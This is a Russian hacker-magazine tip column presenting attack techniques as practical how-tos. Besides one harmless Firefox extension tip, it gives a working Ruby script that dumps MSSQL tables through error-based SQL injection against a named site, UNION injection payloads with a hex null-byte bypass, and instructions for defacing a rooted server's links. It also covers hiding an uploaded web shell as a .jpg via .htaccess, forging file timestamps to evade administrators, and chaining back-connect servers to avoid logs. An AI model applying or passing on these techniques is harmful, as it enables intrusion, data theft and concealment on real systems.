EasyHack

Задача: Отредактировать текст через консоль порутанного сервера

Решение

Часто бывает необходимо как можно быстрее отредактировать файлы прямо на сервере. Иногда это нужно сделать через telnet (back-connect, bind port), когда работа таких редакторов как vi или emacs невозможна. Но, независимо от типа подключения (back-connect, ssh, другое), можно воспользоваться потоковым редактором sed.

Предположим, у тебя есть такой конфиг:

<?
//conf.db
$database="mydb";
$user="news_user";
$password="Ofn08Gtk!";
?>

Если забыл поменять пароль перед заливкой файла, выполни в консоли сервера команду:

$ sed 's/Ofn08Gtk!/newpassword/' conf.db > tmp.for.sed && mv tmp.for.sed conf.db

Sed также поддерживает регулярные выражения. Это очень удобно. Вот так, например, можно заменить все внешние ссылки в чужом индексе своими:

$ sed -e 's/href="http :\ /\/[^"]*"/href="http://yourlink.com"/g' index.html

Задача: Установить плагин Firefox для более старой версии

Решение

Firefox часто обновляется и не всегда разработчики расширений успевают пересобрать расширения под новую версию. Конечно, лучше дождаться, когда разработчики сами сделают это, но, если тебе уже совсем невтерпеж, то следуй моим советам и у тебя все получится.

1. Качаем нужный тебе плагин, изменяем расширение файла на .zip и распаковываем.
2. Открываем файл install.rdf и находим там секцию вроде этой:

<em:targetApplication>
<Description>
<em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
<em:minVersion>1.0</em:minVersion>
<em:maxVersion>2.0</em:maxVersion>
</Description>
</em:targetApplication>

Теперь заменяем значение maxVersion на свое или на более старшее, например, 4.0, и сохраняем изменения.

3. Запаковываем назад в zip-архив и меняем его расширение на .xpi.

Все, теперь можно устанавливать расширение, просто перетащи его в свой Firefox. Но помни: этот метод срабатывает не всегда, есть расширения, которые просто несовместимы с новыми версиями Firefox.

Задача: Быстро сдампить данные из MSSQL 2005/2008

Решение

Можно воспользоваться уже привычными инструментами вроде SIPT или Pangolin. А можно использовать технику SFX-SQLi. Именно на ней остановлюсь чуть подробнее.

В MSSQL 2000 c помощью оператора FOR XML можно получать результаты запроса в виде XML.

SELECT * FROM information_schema.tables FOR XML RAW;

Что вернет содержимое таблицы в виде XML. Однако в MSSQL 2000 выражение FOR XML не может быть использовано в подзапросе, поэтому дампить данные с помощью FOR XML можно, начиная с 2005 версии MSSQL-сервера.

1. Когда есть обычный вывод с помощью union (news.asp?id=1 union select top 1 null,null,null,table_name from information_schema.tables-- ), воспользуйся утилитой от Daniel Kachakil. Скачать ее можно тут: http://www.kachakil.com/papers/SFX-SQLi-en.htm.

2. Комбинируя метод SFX-SQLi с функцией substring(), можно дампить данные и через вывод в ошибке(error-based SQLi). Специально для этого я написал скрипт на Руби:

#! /usr/bin/ruby
#настройки тут
site="kbaptupa.ru"# доменное имя
path="/dir/linkdetail.aspx"# путь до уязвимого скрипта
inject="id=1+and+1="#уязвимый параметр
table="information_schema.columns" #название таблицы, которую дампить
#дальше ничего не меняем
require 'net/http'
require 'cgi'
outputlength =0
http = Net::HTTP.new(site, 80)
pagepath = "#{path}?#{inject}'#{'a'*4000}'"
resp, data = http.get(pagepath, nil)
outputlength = data.scan(%r{Conversion failed when converting the varchar value '(.*?)\.\.\.}im)[0].to_s.length - 20
startindex =0
print "<#{table}>"
while true do
request = "#{path}?#{inject}substring((select+*+from+#{table}+FOR+XML+RAW),#{startindex},#{outputlength})--"
resp, data = http.get(request, nil)
match= data.scan(/Conversion failed when converting the nvarchar value '([\w\W]*?)' to data type int/im)
break if match[0].to_s.length<outputlength or !match.any?
print CGI.unescapeHTML(match[0].to_s)
startindex+=outputlength
end
print "</#{table}>"

Отредактируй скрипт (внеси данные своей SQLi), а потом запусти его так:

$ ruby sfxsqli.rb > dump.xml

В файле dump.xml ты получишь данные таблицы в xml.

Задача: Замаскировать шелл под местность с помошью .htaccess

Решение

Заливая шелл на какой-нибудь ресурс, ты, конечно, хочешь, чтобы он прожил максимально долго, и не был удален злобными админами в первый же день. Для этого шеллы прячут и маскируют под местность, чтобы файл не вызывал подозрений. А какие файлы в первую очередь вызывают подозрения? Ну, конечно же, скрипты. То есть, файлы с расширением .php .phtml .cgi .pl и т.д. будут проверены первыми. И, напротив, не вызывают подозрения, например, картинки. Но какая же польза от файла с расширением .jpg или .gif, скажешь ты. Ведь он неисполняемый и, если даже засунуть в него .php-код, то, чтобы он заработал, нужен будет инклуд. Это не совсем так, а точнее, совсем не так. Заставить апач воспринимать файл с любым расширением как .php нам поможет .htaccess.

Посмотрим, как это делается:

1. Создаем у себя на локалке файл .htaccess следующего содержания (можно и прямо на сайте создать):

AddType application/x-httpd-php .jpg

2. Заливаем его на взломанный сайт в папку, где будем прятать наш шелл (это если в директории нет такого файла; если есть, то просто добавляем к нему нашу строчку).

3. Меняем расширение нашему шеллу с .php на .jpg.

4. Переходим с веба на нашу «картинку» и видим, что она исполняется.

Как видишь, все просто, теперь, зайдя в папку, админ видит только картинки, и шансов, что шелл будет найден, гораздо меньше.

Разумеется, таким образом можно поставить абсолютно любое расширение, будь то .txt, .gif или вообще не существующее .lol. Только злоупотреблять таким методом не советую. Если то, что ты делаешь, наносит вред функционалу сайта в целом, то шансы быть обнаруженным резко возрастают.

Задача: Изменить время создания файла, тем самым, замаскировав шелл на сайте

Решение

Опять возвращаемся к вопросу сокрытия шелла, залитого на сайт. Каким образом админы находят и удаляют залитые файлы? Вариантов много, но один из них - это поиск по дате создания и изменения файла. А это время мы можем изменить, тем самым, усложнив админу задачу. Конечно, не панацея, но иначе шансы спалиться резко возрастают.

Итак, приступим:

UNIX touch

1. Поставить на файл определенную дату, формат: год месяц число час минута.

touch -t200811182005 apach.php

Или так:

touch -d 'Jan 31 2007 12:34:56' apach.php

2. Сделать file5 того же времени, что и file4:

touch -r file4 file5

3. Сделать file7 30 секундами старше, чем file6:

touch -r file6 -B 30 file7

4. Сделать file7 30 секундами моложе, чем file6:

touch -r file6 -F 30 file7

То же самое можно сделать средствами PHP функцией touch():

touch('/usr/www/site.ru/www/index.php', filemtime('/usr/www/site.ru/www/show_kvit.php'));

Ну и наконец, на шелле r57 есть специальная вкладка с одноименным названием, она поможет это сделать в удобном виде.
Не забывай, что для изменения атрибутов нужно иметь соответствующие права.

Задача: Вывести поле при имеющейся sql-injection при проблемной кодировке

Решение

Для решения проблем с кодировкой есть несколько вариантов. К примеру:

http://site.com/script.php?id=-1'+union+select+1,unhex(hex(version())),3--+

либо

http://site.com/script.php?id=-1'+union+select+1,AES_DECRYPT(AES_ENCRYPT(version(),'lol'),'lol'),3--+

В первом примере мы сначала приводим результат функции version() к 16-ричному виду, далее снова в строчный вид. Второй способ аналогичен. Хочу отметить еще одну полезную сторону данного метода.

К примеру, у нас есть sql-injection, одно из полей которой используется в инклуде (include ($_row['file'].'html');). Нам нужно обрезать расширение файла, однако директива magic_qoutes находится в положении ON, т.е. финт с нулл-байтом (%00) уже не пройдет. Тут-то к нам и придут на помощь уже знакомые функции.

http://site.com/script.php?id=-1'+union+select+1,0x...00,3--+

Вместо «...», естественно, будет файл, который должен, по твоему мнению, участвовать в инклуде, а в конце вставим нулл-байт в 16-ричном представлении, и он уже не будет попадать под фильтрацию magic_quotes.

Задача: Безопасно забиндить порт иди сделать бекконект на удаленном сервере

Решение

Многие начинающие хакеры делают бекконект на свой компьютер. Это в корне неверно, так как ip-адрес послушно запишется в логи. В основном, бекконект делают либо на неткат на дедике (dedicated server), либо на неткат на SSH-шелле (допустим, на VDS). Хочу сразу обозначить, что для бекконекта на дедик нужно, чтобы последний обладал выделенным ip-адресом (белый ip).

Заходить на дедик нужно обязательно через впн. В ином случае на нем также сохранится твой реальный IP-адрес.

Для SSH-шелла требования не такие жесткие, для коннекта к ним многие программы имеют поддержку прокси. В качестве shh-шеллов лучше использовать зарубежные vds-сервера.

Также можно сделать цепочку серверов при бекконекте. т.е. мы ставим на прослушку порт на промежуточном сервере, потом делаем бекконект с сервера-жертвы на промежуточный сервер, а потом коннектимся со своего компьютера уже не к серверу-жертве, а к промежуточному.